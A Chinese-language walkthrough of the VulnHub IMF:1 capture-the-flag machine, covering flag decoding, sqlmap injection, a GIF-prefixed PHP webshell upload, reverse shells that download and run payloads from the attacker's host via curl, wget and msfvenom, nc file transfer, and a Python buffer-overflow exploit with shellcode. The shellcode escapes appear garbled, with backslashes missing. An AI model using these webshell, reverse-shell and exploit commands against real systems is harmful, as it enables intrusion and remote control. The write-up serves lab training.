本篇文章仅用于技术交流学习和研究的目的，严禁使用文章中的技术用于非法目的和破坏，否则造成一切后果与发表本文章的作者无关
靶机下载之后使用仅主机模式加载到本地VMware Workstation工作站，需要发现目标靶机的IP地址，可以使用nmap，netdiscover，或者arp之类的工具 arp-scan 例如:sudo arp-scan -I eth1 -l 当然也是可以使用Windows环境下mac地址扫描工具都是可以的，那么本次演示就是arp-scan工具发现
地址:https://www.vulnhub.com/entry/imf-1,162/
nmap -p- -n -sC -sV 192.168.5.145 -o imf.nmap
目录猜解没有猜解出来，看看目标web
有3个选项卡，分别点击3个选项卡网页上发现什么敏感内容，尝试看每个网页的源代码，发现contact.php的源码页面看到第一个flag
flag1{YWxsdGhlZmlsZXM=}
YWxsdGhlZmlsZXM= 根据特征可以猜测是base64进行编码的，这里进行解码看看
解码后的信息如下：
allthefiles
通过搜索页面的等号发现另一个base64编码的信息
解码后结果
yYXRvcg==} 发现解码出来的信息还是类似base64编码，感觉问题很大，不像是base64编码，然后想了想，发现如下信息可能是连贯的
将其拼接起来解码看看 ZmxhZzJ7YVcxbVlXUnRhVzVwYzNSeVlYUnZjZz09fQ==
得出了flag2
flag2{aW1mYWRtaW5pc3RyYXRvcg==} 将aW1mYWRtaW5pc3RyYXRvcg== 解码后得出 imfadministrator
根据上面得到的imfadministrator 放在web上试试看，发现可以访问，显示一个登陆页面
根据目标靶机上的URL，显示的联系人，使用burp进行暴力破解，无果，然后更改密码作为数组为空传给服务端试试
得出falg3的base64编码Y29udGludWVUT2Ntcw== 将其解码得出如下结果：
continueTOcms
得到上述结果的时候显示的页面提供了一个cms页面
访问看看
访问这个cms的结果如下：
初次看到这类带问号的页面， 丢了一个单引号过去，发现存在sql注入漏洞
这种情况就直接使用sqlmap进行注入，不过这里得注意了，因为是登陆之后发现的注入点，那么在注入的时候是需要带入登陆成功的cookie，所以我这直接复制保存对应的http请求包使用sqlmap -r参数进行注入
GET /imfadministrator/cms.php?pagename=disavowlist HTTP/1.1
Host: 192.168.5.145
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.5.145/imfadministrator/cms.php?pagename=home
Cookie: PHPSESSID=tilm340t4jb64ubgal047l74h4
Connection: close
最终我使用了如下测试参数获取了目标信息：
sqlmap -r flag3imfsqlinj.txt --smart --batch -D admin -T pages -C id,pagedata,pagename --dump-all
具体sqlmap使用操作可以看我的公众号或者B站视频都有介绍
根据注入的结果获得图片的路径
http://192.168.5.145/imfadministrator/images/whiteboard.jpg
看到图片上有二维码，拿起手机扫描下二维码，得出 flag4{dXBsb2Fkcjk0Mi5waHA=}
将上面的base64编码进行解码得出结果为：uploadr942.php
然后试着访问http://192.168.5.145/imfadministrator/uploadr942.php 发现居然可以访问
上述是个上传页面，我们尝试上传看看，经过尝试，先上传一个正常的图片使用burp抓包，然后使用如下代码通过burp重放上传成功执行命令的shell
GIF89a
<?php $cmd=$_GET['cmd']; print(`$cmd`); ?>
获得 flag5{YWdlbnRzZXJ2aWNlcw==} 将此编码进行解码得到结果是：agentservices
这里使用反弹shell方式反弹到了本地kali，类似如下操作
使用kali自身php反弹shell脚本
cp /usr/share/webshells/php/php-reverse-shell.php shellbmfx.php
将上述代码监听的本地IP地址改为kali的IP地址192.168.5.130 监听端口是8855
当前目录执行php脚本开启简易web服务器
php -S 192.168.5.130:4488
本地kali监听端口
nc -lvnp 8855
curl%20-O%20http://192.168.5.130:4488/shellimf.txt;mv%20shellimf.txt%20shellimf2.php
下载到目标靶机然后访问即可反弹
拿到反弹shell权限，方便操作之后开始根据提示进行搜索
看着这一生像是有代理服务，既然有了目标靶机的权限可以尝试看看，搜索一下
使用命令如下：find / -name agent &>/dev/null
发现关键字agent，找到如下信息：
查看access_codes 发现有3个端口，这意思又是要使用knock进行敲击
使用knock进行敲击
多敲击了几次，然后再使用nmap进行7788端口扫描，因为拿到目标的权限查看网络连接获得开放代理的端口就是7788
这里为了方便使用metasploit玩玩，使用它的端口转发功能玩下，大致操作命令如下：
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.5.130 LPORT=4444 -f elf > bmfximfexp
php -S 192.168.5.130:4488
wget http://192.168.5.130:4488/bmfximfexp
chmod 777 bmfximfexp
下载到目标靶机之后执行
./bmfximfexp
成功通过metasploit反弹
使用metasploit将目标靶机7788端口进行了端口转发到本地
然后可以通过nc的方式或者metasploit的方式将目标靶机的agent文件下载到本地kali下进行分析
nc -l -p 9999 > agent
nc 192.168.1.124 9999 < /usr/local/bin/agent
获取了agent在本地进行分析，这方面我不是太擅长，先放着，需要看分析的可以移步至下列地址观看
https://g0blin.co.uk/imf-vulnhub-writeup/
https://habr.com/en/post/318814/
https://acebombersecurity.wordpress.com/2016/11/06/imf-1-walkthrough-vulnhub/
通过生成shellcode 代码
msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d"
kali@kali:~/Downloads/imf$ msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.5.130 LPORT=8877 -f python -b "x00x0ax0d" [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x86 from the payload Found 11 compatible encoders Attempting to encode payload with 1 iterations of x86/shikata_ga_nai x86/shikata_ga_nai succeeded with size 95 (iteration=0) x86/shikata_ga_nai chosen with final size 95 Payload size: 95 bytes Final size of python file: 479 bytes buf = b"" buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b" buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1" buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb" buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34" buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25" buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59" buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1" buf += b"x60xb5x2ax81"
对应写好的Python利用代码如下：
这里地址需要更改为实际情况的地址，因为我这里使用了端口转发的方式将目标靶机的端口转发到本地，所以是写的本地地址
import socket client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('localhost', 7788)) client.recv(512) client.send("48093572 ") client.recv(512) client.send("3 ") client.recv(512) # shellcode from msfvenom buf = b"" buf += b"xb8x55xf0x23x37xdaxd3xd9x74x24xf4x5ax2b" buf += b"xc9xb1x12x83xeaxfcx31x42x0ex03x17xfexc1" buf += b"xc2xa6x25xf2xcex9bx9axaex7ax19x94xb0xcb" buf += b"x7bx6bxb2xbfxdaxc3x8cx72x5cx6ax8ax75x34" buf += b"xadxc4x83x46x45x17x8cx64x3bx9ex6dxd8x25" buf += b"xf1x3cx4bx19xf2x37x8ax90x75x15x24x45x59" buf += b"xe9xdcxf1x8ax22x7ex6bx5cxdfx2cx38xd7xc1" buf += b"x60xb5x2ax81" # padding buf += "A" * (168 - len(buf)) # call eax gadget buf += "x63x85x04x08 " client.send(buf)
然后在kali上执行
执行执行使用nc本地监听端口
成功拿到flag6
flag6{R2gwc3RQcm90MGMwbHM=}
